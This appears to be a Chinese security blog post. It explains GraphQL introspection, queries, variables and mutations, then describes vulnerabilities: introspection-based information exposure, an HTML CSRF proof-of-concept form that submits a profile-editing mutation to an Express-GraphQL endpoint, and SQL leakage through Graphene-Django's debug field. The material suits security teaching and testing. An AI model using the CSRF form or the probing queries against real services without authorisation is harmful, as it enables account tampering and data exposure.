GraphQL
是 Facebook 开发的一种 API 的查询语言,与 2015 年公开发布,是 REST API 的替代品。
GraphQL
既是一种用于 API 的查询语言也是一个满足你数据查询的运行时。 GraphQL
对你的 API 中的数据提供了一套易于理解的完整描述,使得客户端能够准确地获得它需要的数据,而且没有任何冗余,也让 API 更容易地随着时间推移而演进,还能用于构建强大的开发者工具。
内省#
有时候会需要去问 GraphQL Schema 它支持哪些查询。
利用 GraphQL 的
内省
,可以查询出 GraphQL 中所有的 Query、Mutaion、ObjectType、Field、Arguments。
查询所有类型#
{
__schema {
types {
name
}
}
}
返回结果
{
"data": {
"__schema": {
"types": [
{
"name": "Query"
},
{
"name": "String"
},
{
"name": "ID"
},
{
"name": "Mutation"
},
{
"name": "Episode"
},
{
"name": "Character"
},
{
"name": "Int"
},
{
"name": "LengthUnit"
},
{
"name": "Human"
},
{
"name": "Float"
},
{
"name": "Droid"
},
{
"name": "FriendsConnection"
},
{
"name": "FriendsEdge"
},
{
"name": "PageInfo"
},
{
"name": "Boolean"
},
{
"name": "Review"
},
{
"name": "ReviewInput"
},
{
"name": "Starship"
},
{
"name": "SearchResult"
},
{
"name": "__Schema"
},
{
"name": "__Type"
},
{
"name": "__TypeKind"
},
{
"name": "__Field"
},
{
"name": "__InputValue"
},
{
"name": "__EnumValue"
},
{
"name": "__Directive"
},
{
"name": "__DirectiveLocation"
}
]
}
}
}
- Query, Character, Human, Episode, Droid,Mutation - 这些是我们在类型系统中定义的类型。
- String, Boolean - 这些是内建的标量,由类型系统提供。
- __Schema, __Type, __TypeKind, __Field, __InputValue, __EnumValue, __Directive - 这些有着两个下划线的类型是内省系统的一部分
- 剩下的则是由用户定义的类型。
查询一个类型的所有字段#
{
__type (name: "Query") {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
}
}
}
返回(此处返回的是定义在 Query 类型中的查询字段)
查询(Query)#
无论是 sql 还是 graphql,本质都是为了检索数据。
{
users {
__typename
}
}
一般情况下,需要在最前面加上操作符 Query
,不加默认就是查询操作。
返回
{
"data": {
"users": [
"User",
"User"
]
}
}
变量#
只需要指定 json 数据中的 variables
即可
query HeroNameAndFriends($episode: Episode) {
hero(episode: $episode) {
name
friends {
name
}
}
}
这意味着查询的参数将是动态的 —— 我们决不能使用用户提供的值来字符串插值以构建查询
GraphQL 注入#
变更(Mutation)#
字面意思可能不太对,我更喜欢称之为 执行
。
mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {
createReview(episode: $ep, review: $review) {
stars
commentary
}
}
{
"data": {
"createReview": {
"stars": 5,
"commentary": "This is a great movie!"
}
}
}
漏洞#
敏感信息泄露与越权#
GraphQL 是一门自带文档的技术。 利用内省,即可列出列出 GraphQL 中所有 Query、Mutation、ObjectType、Field、Arguments。
再通过 Query 中泄露的查询字段去查询对应的类型就可以找到许多敏感信息。
Express-GraphQL Endpoint CSRF 漏洞#
原因在于这个框架将 json 和表单都解析为表单参数的关系。
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://graphqlapp.herokuapp.com/" method="POST">
<input type="hidden" name="query"
value="mutation {
editProfile(name:"hac
ker", age: 5) {
n
ame
age
}
}" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Graphene-Django DEBUG 模式下的安全问题#
{
card(id: 1) {
id
title
}
__debug {
sql {
sql
rawSql
params
}
}
}
返回
{
"data": {
"card": null,
"__debug": {
"sql": [
{
"sql": "SELECT ...",
"rawSql": "SELECT ...",
"params": "[5, 6, ...]"
}
...
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论